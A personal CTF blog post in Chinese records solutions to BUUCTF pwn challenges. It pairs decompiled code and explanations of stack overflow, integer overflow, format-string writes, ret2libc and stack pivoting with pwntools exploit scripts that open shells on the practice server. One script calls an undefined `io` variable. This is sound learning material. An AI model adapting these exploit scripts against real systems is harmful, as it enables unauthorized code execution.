buu历险记

Snowcat Lv1

“求学之路还很长呢”

在BUUCTF做题的记录,本章将会长期更新。祝早日AK
(栈介绍 - CTF Wiki)

pwn1_sctf_2016

C++
限制输入,但是能把I替换成you

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = 'debug'
p = remote('node5.buuoj.cn',27535)
# p = process('./pwn1_sctf_2016')

bkd = 0x08048F0D
ebp = 0x12345678
payload = b'I'*20+p32(ebp)+p32(bkd)
p.sendline(payload)

p.interactive()

第五空间2015pwn5

在main函数中即有system(“/bin/sh”)

1
2
cmp     edx, eax
jz short loc_804931A

比较edx和eax的值是否相等。
edx来自输入的第三个数据
eax来自dword_804C044即从文件中读取的值

1
printf(buf);

这里有格式化字符串漏洞
泄露用%x,写值用%n。%n会把已输出的字符数写入到对应参数指向的地址中。

ciscn_2019_n_8

32位小端序,全保护开启,
启动IDA,只要var[13]=17即可,
发送4字节数据填满

1
2
3
4
5
from pwn import*
p = process('./ciscn_2019_n_8')
payload = b'aaaa'*13+p32(0x11)
p.sendline(payload)
p.interactive()
  • 给数字类型的变量赋值,不能直接发送字节流b’xxxx’,应该发送str(‘0x11’),但这种无法控制位数,所以最好发送p32(0x11)。

bjdctf_2020_babystack

64位,NX开启
LODWORD(nbytes) = 0;

get_started_3dsctf_2016

程序要正常退出才会给回显看到flag
32位小端序,栈溢出漏洞填满buf[56],注意getflag函数有参数,加上,还有exit

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
context.log_level = 'debug'
# p = process('./pwn')
p = remote('node5.buuoj.cn',27225)

get_flag = 0x080489a0
exit_addr = 0x0804e6a0

payload = b'a'*56 +p32(get_flag)+p32(exit_addr)+p32(0x308CD64F) + p32(0x195719D1)
p.sendline(payload)
p.recv()

babyrop

确实是简单的rop
main()提供了system(),在IDA中shift+F12看到/bin/shROPgadget --binary ./babyrop | grep "pop rdi"得到0x400683,现在什么也不缺了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
context.log_level = 'debug'
elf = ELF('./babyrop')
#io = process('./babyrop')
io = remote('node5.buuoj.cn',29393)
call_system = 0x04005E3
pop_rdi = 0x400683
bin_sh_addr = 0x601048

payload = b'a'*16
payload += b'deadbeef'
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(call_system)

io.sendline(payload)
io.interactive()

ls后没有flag,所以使用find -name flag找到flag
cat /home/babyrop/flag

bjdctf_2020_babystack2

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
//此处省略puts
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}

简单的整数溢出,负数会被认为是一个巨大的正数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']
elf = ELF('./pwn')

# p = process('./pwn')
p = remote('node5.buuoj.cn',29753)
# gdb.attach(p,'b main')
bkd = 0x400726

p.recvuntil(b'name:\n')
p.sendline(b'-1')
payload = b'a'*(12+4)+ b'SNOWCATT' + p64(bkd)
p.sendline(payload)
p.interactive()

jarvisoj_fm

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

开启了canary,GOT只读,看起来是格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}

x.data上的全局变量。
在printf函数中的参数可控 于是可能存在格式化字符漏洞,利用字符串漏洞重写x的值。
输入的字符串会存储进入栈内,然后printf函数使用输入的内容作为格式化字符串进行控制输出。
输入多个%p打印栈上的内容判断输入的数据在栈上离栈顶的偏移。
我们来找一找

1
2
3
./fm
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0xff896a9c-0x50-0x1-(nil)-0x1-0xf7f04a20-0xff896bb4-(nil)-0xff896d2b-0x2c-0x61616161-0x2d70252d-0x252d7025

注意到aaaa0x61616161出现在第11个位置上,偏移量为11
payload如下:%4c%13$n0x0804A02C
利用%n将输出字符数写入指定地址。%4c先输出4个字符,%13$n将前面输出的字符数(即4)写入地址0x0804A02C,实现对目标内存的修改

bjdctf_2020_babyrop

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

简单的rop,Can u return to libc ?,是一道libc题目,
现在不知道libc的版本,于是使用LibcSearch
看起来可以泄露puts的地址,一个思路是把puts的got表地址用puts打印出来
寻找gadget:

1
ROPgadget --binary ./pwn --only "pop|ret"

得到0x0000000000400733 : pop rdi ; ret
于是这样构造payload:

1
payload1 = b'a'*40 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln)

LibcSeearcher的使用:

1
libc = LibcSearcher("puts", leak_puts)

但是,这时匹配到了多个版本的libc,并不容易尝试成功,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
[+] There are multiple libc that meet current constraints :
0 - libc6_2.23-0ubuntu4_amd64
1 - libc6_2.23-0ubuntu7_amd64
2 - libc6_2.13-0ubuntu4_amd64
3 - libc6_2.13-0ubuntu15_amd64
4 - libc6_2.23-0ubuntu9_amd64
5 - libc6_2.23-0ubuntu10_amd64
6 - libc6_2.23-0ubuntu5_amd64
7 - libc6_2.23-0ubuntu11_amd64
8 - libc6_2.23-0ubuntu6_amd64
9 - libc-2.38.9000-12.fc40.i686
[+] Choose one :

于是笔者又泄露了read,增加约束。这样匹配的libc就基本符合了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')

# p = process('./pwn')
p = remote('node5.buuoj.cn',28896)
puts_plt = 0x4004e0
puts_got = 0x601018
read_got = 0x601020
pop_rdi_ret = 0x400733
vuln = 0x40067d
payload1 = b'a'*40 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln)
p.recvuntil(b'story!\n')
p.sendline(payload1)
leak_puts = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f"leaked_puts: {hex(leak_puts)}")

payload2 = b'a'*40 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(vuln)
p.recvuntil(b'story!\n')
p.sendline(payload2)
leak_read = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f"leaked_puts: {hex(leak_read)}")

libc = LibcSearcher("puts", leak_puts)
libc.add_condition("read", leak_read) # <= 就是这里!

libc_base = leak_puts - libc.dump('puts')
log.info(f"libc_base: {hex(libc_base)}")
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

payload3 = b'a'*0x20 + b'SNOWACTT' + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.recvuntil(b'story!\n')
p.sendline(payload3)

p.interactive()

jarvisoj_tell_me_something

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

主要的函数在这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-88h] BYREF

write(1, "Input your message:\n", 0x14uLL);
read(0, &v4, 0x100uLL);
return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}
int good_game()
{
FILE *v0; // rbx
int result; // eax
char buf[9]; // [rsp+Fh] [rbp-9h] BYREF

v0 = fopen("flag.txt", "r");
while ( 1 )
{
result = fgetc(v0);
buf[0] = result;
if ( (_BYTE)result == 0xFF )
break;
write(1, buf, 1uLL);
}
return result;
}
ssize_t readmessage()
{
__int64 v1; // [rsp+0h] [rbp-88h] BYREF

return read(0, &v1, 0x100uLL);
}

注意到v4rbp-88的位置,查看一下局部变量确如此,栈溢出,

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
import time
context.log_level = 'debug'
# p = process('./guestbook')
p = remote('node5.buuoj.cn',29823)
p.recvline()
flag_addr = 0x0400620
payload = b'a'* 0x88 + p64(flag_addr)
p.send(payload)
sleep(1)
p.recv()

ciscn_2019_es_2

居然是栈迁移:

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

有后门无"/bin/sh",看来需要自己读进去。

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

看起来分配了一块内存s,读48字节,只能覆盖ebp和返回地址。
先把rop链写道栈上,再将栈迁移到写的地方即可。
要想办法泄露ebp地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')

p=process("pwn")
#gdb.attach(io,'b *0x080485BE')
elf=ELF("./pwn")
payload1=b'a'*0x24+b'b'*0x4

p.recvuntil(b"\n")
p.send(payload1)
p.recvuntil(b"bbbb")
ebp_addr=u32(io.recv(4))
log.info(f"ebp_addr:{hex(ebp_addr)}")
leave_ret=0x08048562
sh_addr=ebp_addr-0x38
payload2=b'a'*0x4+p32(elf.plt["system"])+p32(0xdeadbeef)+p32(sh_addr+0x10)+b'/bin/sh'
payload2=payload2.ljust(0x28,b"\x00")
payload2+=p32(sh_addr)+p32(leave_ret)
p.send(payload2)
p.interactive()

HarekazeCTF2019baby_rop

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

好神秘。

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[28]; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+1Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("What's your name? ");
v5 = read(0, buf, 0x100uLL);
buf[v5 - 1] = 0;
printf("Welcome to the Pwn World again, %s!\n", buf);
return 0;
}

buf[v5 - 1] = 0;原本是为了去掉输入字符串末尾的换行符
要泄露libc,这里没有puts(),于是想到使用printf()

1
2
3
4
5
ROPgadget --binary ./pwn --only "pop|ret"
0x0000000000400733 : pop rdi ; ret
0x0000000000400731 : pop rsi ; pop r15 ; ret
ROPgadget --binary babyrop2 --string "%s"
0x0000000000400790 : %s

在泄露libc时遇到的问题,明明已经调用过printf(),但是使用printf的got表却不能泄露出地址,于是使用read
构造printf("%s", read_got)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux','splitw','-h']
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = process('./pwn')
# gdb.attach(p,'b * 0x400689')
p = remote('node5.buuoj.cn',27867)

pop_rdi = 0x400733
pop_rsi_r15 = 0x400731
printf_plt = elf.plt["printf"]
ret = 0x4004d1
fmt_s = 0x400790
read_got = elf.got["read"]
main = 0x400636

payload = b'a'*40
payload += p64(pop_rdi) + p64(fmt_s) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main)
p.sendafter(b'name? ',payload)
p.recvuntil(b'!\n')
leak_read = u64(p.recv(6).ljust(8,b'\x00'))
log.success(f"{hex(leak_read)}")

libc.address = leak_read - libc.symbols['read']
system = libc.symbols['system']
bin_sh= next(libc.search(b'/bin/sh'))
p.recvuntil(b'name? ')
payload1 = b'a'*40 + p64(pop_rdi) + p64(bin_sh) + p64(system)
p.sendline(payload1)
p.interactive()
  • 标题: buu历险记
  • 作者: Snowcat
  • 创建于 : 2026-02-17 12:00:00
  • 更新于 : 2026-05-18 19:08:08
  • 链接: https://sadsnowcat.github.io/2026/02/17/buuoj/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论